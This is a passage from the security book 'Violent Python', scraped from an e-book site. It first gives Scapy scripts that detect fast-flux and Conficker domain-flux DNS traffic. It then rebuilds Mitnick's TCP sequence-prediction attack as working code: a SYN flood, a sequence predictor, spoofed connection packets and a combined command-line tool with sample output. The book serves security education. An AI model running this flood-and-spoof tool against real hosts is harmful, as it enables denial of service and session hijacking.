Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers (19 page)

BOOK: Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers
2.38Mb size Format: txt, pdf, ePub
ads
Storm’s Fast-Flux and Conficker’s Domain-Flux

In 2007, security researchers identified a new technique used by the infamous Storm botnet (
Higgins, 2007
). The technique, named fast-flux, used domain name service (DNS) records to hide the command and control servers that controlled the Storm botnet. DNS records typically translate a domain name to an IP address. When a DNS server returns a result, it also specifies the TTL that the IP address remains valid for before the host should check again.

The attackers behind the Storm botnet changed the DNS records for the command-and-control server rather frequently. In fact, they used 2,000 redundant hosts spread amongst 384 providers in more than 50 countries (
Lemos, 2007
).
The attackers swapped the IP addresses for the command-and-control server frequently and ensured the DNS results returned with a very short TTL. This fast-flux of IP addresses made it difficult for security researchers to identify the command-and-control servers for the botnet and even more difficult to take the servers offline.

While fast-flux proved difficult in the takedown of the Storm botnet, a similar technique used the following year aided in the infection of seven million computers in over two hundred countries (
Binde et al., 2011
). Conficker, the most successful computer worm to date, spread by attacking a vulnerability in the Windows Service Message Block (SMB) protocol. Once infected, the vulnerable machines contacted a command-and-control server for further instructions. Identifying and preventing communication with the command-and-control server proved absolutely necessary for those involved with stopping the attack. However, Conficker generated different domain names every three hours, using the current date and time at UTC. For the third iteration of Conficker, this meant 50,000 domains were generated every three hours. Attackers registered only a handful of these domains to actual IP addresses for the command-and-control servers. This made intercepting and preventing traffic with the command-and-control server very difficult. Because the technique rotated domain names, researchers named it domain-flux.

In the following section, we will write some Python scripts to detect fast-flux and domain-flux in the wild to identify attacks.

Does Your DNS Know Something You Don’t?

To identify fast-flux and domain-flux in the wild, let’s quickly review the DNS by looking at the traffic generated during a domain name request. To understand this, let’s perform a domain-name lookup on the address whitehouse.com. Note that our DNS server at 192.168.1.1, translates whitehouse.com into the IP address 74.117.114.119.

 analyst# nslookup whitehouse.com

 Server:    192.168.1.1

 Address:   192.168.1.1#53

 Non-authoritative answer:

 Name:   whitehouse.com

 Address:  74.117.114.119

Examining a DNS lookup with tcpdump, we see that our client (192.168.13.37) sends a request to the DNS server at 192.168.1.1. Specially, the client generates a DNS Question Record (DNSQR) asking for the IPv4 address of whitehouse.com.
The server responds by appending a DNS Resource Record (DNSRR) that provides the IP address for whitehouse.com.

 analyst# tcpdump -i eth0 –nn ‘udp port 53’

 07:45:46.529978 IP 192.168.13.37.52120 >192.168.1.1.53: 63962+ A? whitehouse.com. (32)

 07:45:46.533817 IP 192.168.1.1.53>192.168.13.37.52120: 63962 1/0/0 A 74.117.114.119 (48)

Using Scapy to Parse DNS Traffic

When we examine these DNS protocol requests in Scapy, we see the fields included in each. A DNSQR contains the question name (qname), the question type (qtype), and question class (qclass). For our request above, we ask for the IPv4 address for whitehouse.com to be resolved, making the qname field equal to whitehouse.com. The DNS server responds by appending a DNSRR that contains the resource record name (rrname), the type (type), resource record class (rclass), and TTL. Knowing how fast-flux and domain-flux work, we can now write some Python scripts with Scapy to analyze and identify suspect DNS traffic.

 analyst# scapy

 Welcome to Scapy (2.0.1)

 >>>ls(DNSQR)

 qname  : DNSStrField   =  (’’)

 qtype  : ShortEnumField  =  (1)

 qclass  : ShortEnumField  =  (1)

 >>>ls(DNSRR)

 rrname  : DNSStrField   =  (’’)

 type  : ShortEnumField  =  (1)

 rclass  : ShortEnumField  =  (1)

 ttl  : IntField   =  (0)

 rdlen  : RDLenField   =  (None)

 rdata  : RDataField   =  (’’)

The European Network and Information Security Agency provides an excellent resource for analyzing network traffic. They provide a live DVD ISO image that contains several network captures and exercises. You can download a copy from
http://www.enisa.europa.eu/activities/cert/support/exercise/live-dvd-iso-images
. Exercise #7 provides a Pcap that demonstrates fast-flux behavior. Additionally, you may wish to infect a virtual machine with spyware or malware and examine the traffic safely in a controlled lab environment before
proceeding. For our purposes, let’s assume you now have a network captured named fastFlux.pcap that contains some DNS traffic you would like to analyze.

Detecting Fast Flux Traffic with Scapy

Let’s write a Python script that reads in this pcap and that parses out all the packets that contain DNSRR. Scapy contains a powerful function,.
haslayer(),
which takes a protocol type as input and returns a Boolean. If the packet contains a DNSRR, we will extract the rrname and rdata variables that contain the appropriate domain name and IP address. We can then check the domain name against a dictionary we maintain, indexed by the domain names. If we have seen the domain name before, we will check to see if it had a previous IP address associated. If it does have a different previous IP address, we add our new address to the array maintained in the value of our dictionary. Instead if we identify a new domain, we add it to our dictionary. We add the IP address for the domain as the first element of the array stored as our dictionary value.

It does seem a little complex, but we want to be able to store all the domain names and the various IP addresses associated with them. To detect fast flux, we will need to know which domain names have multiple addresses. After we examine all the packets, we print out all the domain names and how many unique IP addresses exist for each domain name.

 from scapy.all import ∗

 dnsRecords = {}

 def handlePkt(pkt):

  if pkt.haslayer(DNSRR):

   rrname = pkt.getlayer(DNSRR).rrname

   rdata = pkt.getlayer(DNSRR).rdata

   if dnsRecords.has_key(rrname):

    if rdata not in dnsRecords[rrname]:

     dnsRecords[rrname].append(rdata)

   else:

    dnsRecords[rrname] = []

    dnsRecords[rrname].append(rdata)

 def main():

  pkts = rdpcap(‘fastFlux.pcap’)

  for pkt in pkts:

   handlePkt(pkt)

  for item in dnsRecords:

   print ‘[+] ‘+item+’ has ‘+str(len(dnsRecords[item])) \

    + ‘ unique IPs.’

 if __name__ == ‘__main__’:

  main()

Running our code, we see that at least four domain names have a multitude of IP addresses associated with them. All four domain names listed below actually utilized fast-flux in the past(
Nazario, 2008
).

 analyst# python testFastFlux.py

 [+] ibank-halifax.com. has 100,379 unique IPs.

 [+] armsummer.com. has 14,233 unique IPs.

 [+] boardhour.com. has 11,900 unique IPs.

 [+] swimhad.com. has 11,719 unique IPs.

Detecting Domain Flux Traffic with Scapy

Next, let’s begin by analyzing a machine infected with Conficker. You can either infect a machine yourself or download some sample captures off the Internet. Many third-party sites contain various Conficker network captures. As Conficker utilized domain-flux, we will need to look at the server responses that contain error messages for unknown domain names. Different versions of Conficker generated several DNS names hourly. Because several of the domain names proved bogus and were meant to mask the actual command-and-control server, most DNS servers lacked the ability to translate the domain names to actual addresses and instead generated error messages. Let’s identify domain-flux in action by identifying all the DNS responses that contain an error code for name-error. For a full listing of the domains used in the Conficker Worm, see
http://www.cert.at/downloads/data/conficker_en.html
.

Again, we will read in a network capture and enumerate through all the packets in the capture. We will test only packets originating from the server source port 53 that contain resource records. The DNS packet contains anrcode field. When the rcode equals 3, it indicates that the domain name does not exist. We then print the domain name to the screen and update a hit counter of all unanswered name requests.

 from scapy.all import ∗

 def dnsQRTest(pkt):

  if pkt.haslayer(DNSRR) and pkt.getlayer(UDP).sport == 53:

   rcode = pkt.getlayer(DNS).rcode

   qname = pkt.getlayer(DNSQR).qname

   if rcode == 3:

    print ‘[!] Name request lookup failed: ‘ + qname

    return True

   else:

    return False

 def main():

  unAnsReqs = 0

  pkts = rdpcap(‘domainFlux.pcap’)

  for pkt in pkts:

   if dnsQRTest(pkt):

    unAnsReqs = unAnsReqs + 1

  print ‘[!] ‘+str(unAnsReqs)+’ Total Unanswered Name Requests’

 if __name__ == ‘__main__’:

  main()

Notice that when we run our script, we see several of the actual domain names used in Conficker for domain-flux. Success! We are able to identify the attack. Let’s use our analysis skills in the next section to revisit a sophisticated attack that occurred over 15 years ago.

 analyst# python testDomainFlux.py

 [!] Name request lookup failed: tkggvtqvj.org.

 [!] Name request lookup failed: yqdqyntx.com.

 [!] Name request lookup failed: uvcaylkgdpg.biz.

 [!] Name request lookup failed: vzcocljtfi.biz.

 [!] Name request lookup failed: wojpnhwk.cc.

 [!] Name request lookup failed: plrjgcjzf.net.

 [!] Name request lookup failed: qegiche.ws.

 [!] Name request lookup failed: ylktrupygmp.cc.

 [!] Name request lookup failed: ovdbkbanqw.com.

 <..SNIPPED..>

 [!] 250 Total Unanswered Name Requests

Kevin Mitnick and TCP Sequence Prediction

February 16, 1995 ended the reign of a notorious hacker, whose crime spree included the theft of corporate trade secrets worth millions of dollars. For over 15 years, Kevin Mitnick gained unauthorized access to computers, stole proprietary information, and harassed anyone who tried to catch him (
Shimomura, 1996
),but eventually a team targeted Mitnick and tracked him down to Raleigh, North Carolina.

Tsutomu Shimomura, a long-haired computational physicist from San Diego, aided in capturing Mitnick (
Markoff, 1995
). After testifying before Congress about cellular phone security in 1992, Shimomura became a target for Mitnick. In December 1994, someone broke into Shimomura’s home computer system (
Markoff, 1995
). Convinced the attacker was Mitnick and fascinated by the novel attack method, Shimomura essentially led the technical team that tracked Mitnick for the next year.

What was the attack vector that intrigued Shimomura? Never seen before in the wild, Mitnick used a method of hijacking TCP sessions. This technique, known as TCP sequence prediction, exploited the lack of randomness in the sequence numbers used to track individual network connections. This flaw, combined with IP address spoofing, allowed Mitnick to hijack a connection to Shimomura’s home computer. In the following section, we will recreate the attack and the tool that Mitnick used in his infamous TCP sequence prediction attack.

Your Very Own TCP Sequence Prediction

The machine that Mitnick attacked had a trusted agreement with a remote server. The remote server could access Mitnick’s victim via the remote login (rlogin) protocol that runs on TCP port 513. Instead of using a /files/01/49/20/f014920/public/private key agreement or a password scheme, rlogin used an insecure means of authentication—by checking the source IP address. Thus, to attack Shimomura’s machine, Mitnick had to 1) find a server that it trusted; 2) silence that trusted server; 3) spoof a connection from that server; and 4) blindly spoof a proper acknowledgement of the TCP three-way handshake. It sounds muchmore difficult than it actually is. On January 25, 1994,Shimomura posted details about the attack to a USENET blog (
Shimomura, 1994
). Analyzing this attack by looking at the technical details posted by Shimomura, we will write a Python script to perform that same attack.

After Mitnick identified a remote server that had a trusted agreement with Shimomura’s personal machine, he needed to silence that machine. If the machine noticed the spoofed connection attempt using its IP address, it would then send TCP reset packets to close the connection. To silence the machine, Mitnick sent a series of TCP SYN packets to the rlogin port on the server. Known as a SYN Flood, this attack filled up the connection queue of the server and kept it from responding. Examining the details from Shimomura’s post, we see a series of TCP SYNs to the rlogin port on the target.

 14:18:22.516699 130.92.6.97.600 > server.login: S 1382726960:1382726960(0) win 4096

 14:18:22.566069 130.92.6.97.601 > server.login: S 1382726961:1382726961(0) win 4096

 14:18:22.744477 130.92.6.97.602 > server.login: S 1382726962:1382726962(0) win 4096

 14:18:22.830111 130.92.6.97.603 > server.login: S 1382726963:1382726963(0) win 4096

 14:18:22.886128 130.92.6.97.604 > server.login: S 1382726964:1382726964(0) win 4096

 14:18:22.943514 130.92.6.97.605 > server.login: S 1382726965:1382726965(0) win 4096

 <..SNIPPED..?

Crafting a SYN Flood with Scapy

Replicating a TCP SYN flood attack in Scapy proves simple. We will craft some IP packets with a TCP protocol layer with an incrementing TCP source port and constant TCP destination port of 513.

 from scapy.all import ∗

 def synFlood(src, tgt):

  for sport in range(1024,65535):

   IPlayer = IP(src=src, dst=tgt)

   TCPlayer = TCP(sport=sport, dport=513)

   pkt = IPlayer / TCPlayer

   send(pkt)

 src = “10.1.1.2”

 tgt = “192.168.1.3”

 synFlood(src,tgt)

Running the attack sends TCP SYNs to exhaust the resources of the target, filling up its connection queue and essentially silencing the target’s ability to send TCP-reset packets.

 mitnick# python synFlood.py

 .

 Sent 1 packets.

 .

 Sent 1 packets.

 .

 Sent 1 packets.

 .

 Sent 1 packets.

 .

 Sent 1 packets.

 .

 <..SNIPPED..>

Calculating TCP Sequence Numbers

Now the attack gets a little more interesting. With the remote server silenced, Mitnick could spoof a TCP connection to the target. However, this depended upon his ability to send a spoofed SYN, followed by Shimomura’s machine acknowledging the TCP connection with a TCP SYN-ACK. To complete the connection, Mitnick needed to correctly guess the TCP sequence number in the SYN-ACK (because he was unable to observe it) and then send back an ACK of that correctly guessed TCP sequence number. To calculate the correct TCP sequence number, Mitnick sent a series of SYNs from a university machine named apollo.it.luc.edu. After receiving the SYN, Shimomura’s machine x-terminal responded with an SYN-ACK with a TCP sequence number. Notice the sequence numbers in the following snipped technical details: 2022080000, 2022208000, 2022336000, 2022464000. Each incrementing SYN-ACK differs by 128,000 digits. This made calculating the correct TCP sequence number rather easy for Mitnick (note that most modern operating systems today provide more robust randomization of TCP sequence numbers).

 14:18:27.014050 apollo.it.luc.edu.998 > x-terminal.shell: S 1382726992:1382726992(0) win 4096

 14:18:27.174846 x-terminal.shell > apollo.it.luc.edu.998: S 2022080000:2022080000(0) ack 1382726993 win 4096

 14:18:27.251840 apollo.it.luc.edu.998 > x-terminal.shell: R 1382726993:1382726993(0) win 0

 14:18:27.544069 apollo.it.luc.edu.997 > x-terminal.shell: S 1382726993:1382726993(0) win 4096

 14:18:27.714932 x-terminal.shell > apollo.it.luc.edu.997: S 2022208000:2022208000(0) ack 1382726994 win 4096

 14:18:27.794456 apollo.it.luc.edu.997 > x-terminal.shell: R 1382726994:1382726994(0) win 0

 14:18:28.054114 apollo.it.luc.edu.996 > x-terminal.shell: S 1382726994:1382726994(0) win 4096

 14:18:28.224935 x-terminal.shell > apollo.it.luc.edu.996: S 2022336000:2022336000(0) ack 1382726995 win 4096

 14:18:28.305578 apollo.it.luc.edu.996 > x-terminal.shell: R 1382726995:1382726995(0) win 0

 14:18:28.564333 apollo.it.luc.edu.995 > x-terminal.shell: S 1382726995:1382726995(0) win 4096

 14:18:28.734953 x-terminal.shell > apollo.it.luc.edu.995: S 2022464000:2022464000(0) ack 1382726996 win 4096

 14:18:28.811591 apollo.it.luc.edu.995 > x-terminal.shell: R 1382726996:1382726996(0) win 0

 <..SNIPPED..>

To repeat in Python, we will send a TCP SYN and wait for a TCP SYN-ACK. Once received, we will strip off the TCP sequence number from the acknowledgement and print it to the screen. We will repeat this for four packets to confirm that a pattern exists. Notice that with Scapy, we don’t need to complete all the TCP and IP fields: Scapy will fill them in with values. Additionally, it will send from our source IP address by default. Our new function calTSN will take a target IP address and return the next sequence number to be acknowledged (the current sequence number plus the difference).

 from scapy.all import ∗

 def calTSN(tgt):

  seqNum = 0

  preNum = 0

  diffSeq = 0

  for x in range(1, 5):

   if preNum != 0:

    preNum = seqNum

   pkt = IP(dst=tgt) / TCP()

   ans = sr1(pkt, verbose=0)

   seqNum = ans.getlayer(TCP).seq

   diffSeq = seqNum - preNum

   print ‘[+] TCP Seq Difference: ‘ + str(diffSeq)

  return seqNum + diffSeq

 tgt = “192.168.1.106”

 seqNum = calTSN(tgt)

 print “[+] Next TCP Sequence Number to ACK is: “+str(seqNum+1)

Running our code against a vulnerable target, we see that TCP sequence randomization does not exist, and the target suffers from the same vulnerability as Shimomura’s machine. Note, that by default Scapy will use default destination TCP Port 80. The destination target must have a service listening on whatever port you attempt to spoof a connection to.

 mitnick# python calculateTSN.py

 [+] TCP Seq Difference: 128000

 [+] TCP Seq Difference: 128000

 [+] TCP Seq Difference: 128000

 [+] TCP Seq Difference: 128000

 [+] Next TCP Sequence Number to ACK is: 2024371201

Spoofing the TCP Connection

With the correct TCP sequence number in hand, Mitnick was able to attack. The number Mitnick used was 2024371200, about 150 SYNs after the initial SYNs he sent to recon the machine. First he spoofed a connection from the now-silent server. Next he sent a blind ACK with the sequence number of 2024371201, indicating that the connection was established correctly.

 14:18:36.245045 server.login > x-terminal.shell: S 1382727010:1382727010(0) win 4096

 14:18:36.755522 server.login > x-terminal.shell: .ack2024384001 win 4096

To replicate this in Python, we will create and send the two packets. First we create a SYN with a TCP source port of 513 and destination of 514 with the IP source address of the spoofed server and the destination IP address as the target. Next, we create a similar acknowledgement packet, add the calculated sequence number as an additional field, and send it.

 from scapy.all import ∗

 def spoofConn(src, tgt, ack):

  IPlayer = IP(src=src, dst=tgt)

  TCPlayer = TCP(sport=513, dport=514)

  synPkt = IPlayer / TCPlayer

  send(synPkt)

  IPlayer = IP(src=src, dst=tgt)

  TCPlayer = TCP(sport=513, dport=514, ack=ack)

  ackPkt = IPlayer / TCPlayer

  send(ackPkt)

 src = “10.1.1.2”

 tgt = “192.168.1.106”

 seqNum = 2024371201

 spoofConn(src,tgt,seqNum)

Putting the entire codebase back together, we’ll add option parsing to add command line options for the spoofed address for the connection, the target server, and the spoofed address for the initial SYN flood.

 import optparse

 from scapy.all import ∗

 def synFlood(src, tgt):

  for sport in range(1024,65535):

   IPlayer = IP(src=src, dst=tgt)

   TCPlayer = TCP(sport=sport, dport=513)

   pkt = IPlayer / TCPlayer

   send(pkt)

 def calTSN(tgt):

  seqNum = 0

  preNum = 0

  diffSeq = 0

  for x in range(1, 5):

   if preNum != 0:

    preNum = seqNum

   pkt = IP(dst=tgt) / TCP()

   ans = sr1(pkt, verbose=0)

   seqNum = ans.getlayer(TCP).seq

   diffSeq = seqNum - preNum

   print ‘[+] TCP Seq Difference: ‘ + str(diffSeq)

  return seqNum + diffSeq

 def spoofConn(src, tgt, ack):

  IPlayer = IP(src=src, dst=tgt)

  TCPlayer = TCP(sport=513, dport=514)

  synPkt = IPlayer / TCPlayer

  send(synPkt)

  IPlayer = IP(src=src, dst=tgt)

  TCPlayer = TCP(sport=513, dport=514, ack=ack)

  ackPkt = IPlayer / TCPlayer

  send(ackPkt)

 def main():

  parser = optparse.OptionParser(‘usage%prog ‘+\

    ‘-s -S ‘+\

    ‘-t’)

  parser.add_option(‘-s’, dest=’synSpoof’, type=’string’,\

   help=’specifc src for SYN Flood’)

  parser.add_option(‘-S’, dest=’srcSpoof’, type=’string’,\

   help=’specify src for spoofed connection’)

  parser.add_option(‘-t’, dest=’tgt’, type=’string’,\

   help=’specify target address’)

   (options, args) = parser.parse_args()

  if options.synSpoof == None or options.srcSpoof == None \

    or options.tgt == None:

    print parser.usage

    exit(0)

  else:

    synSpoof = options.synSpoof

    srcSpoof = options.srcSpoof

    tgt = options.tgt

  print ‘[+] Starting SYN Flood to suppress remote server.’

  synFlood(synSpoof, srcSpoof)

  print ‘[+] Calculating correct TCP Sequence Number.’

  seqNum = calTSN(tgt) + 1

  print ‘[+] Spoofing Connection.’

  spoofConn(srcSpoof, tgt, seqNum)

  print ‘[+] Done.’

 if __name__ == ‘__main__’:

  main()

Running our final script, we have successfully replicated Mitnick’s almost two-decade-old attack. What was once thought of as one of the most sophisticated attacks in history can now be replicated with exactly 65 lines of Python code.With strong analysis skillsets in hand, let’s use the next section to describe a method for complicating analysis of network attacks, specifically targeting intrusion detection systems.

 mitnick# python tcpHijack.py -s 10.1.1.2 -S 192.168.1.2 -t 192.168.1.106

 [+] Starting SYN Flood to suppress remote server.

 .

 Sent 1 packets.

 .

 Sent 1 packets.

 .

 Sent 1 packets.

 <..SNIPPED..>

 [+] Calculating correct TCP Sequence Number.

 [+] TCP Seq Difference: 128000

 [+] TCP Seq Difference: 128000

 [+] TCP Seq Difference: 128000

 [+] TCP Seq Difference: 128000

 [+] Spoofing Connection.

 .

 Sent 1 packets.

 .

 Sent 1 packets.

 [+] Done.

BOOK: Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers
2.38Mb size Format: txt, pdf, ePub
ads

Other books

Croc's Return by Eve Langlais
Cry in the Night by Colleen Coble
Tackled: A Sports Romance by Sabrina Paige
Judgment Calls by Alafair Burke
Shadow Dance by Anne Stuart
Homebush Boy by Keneally, Thomas;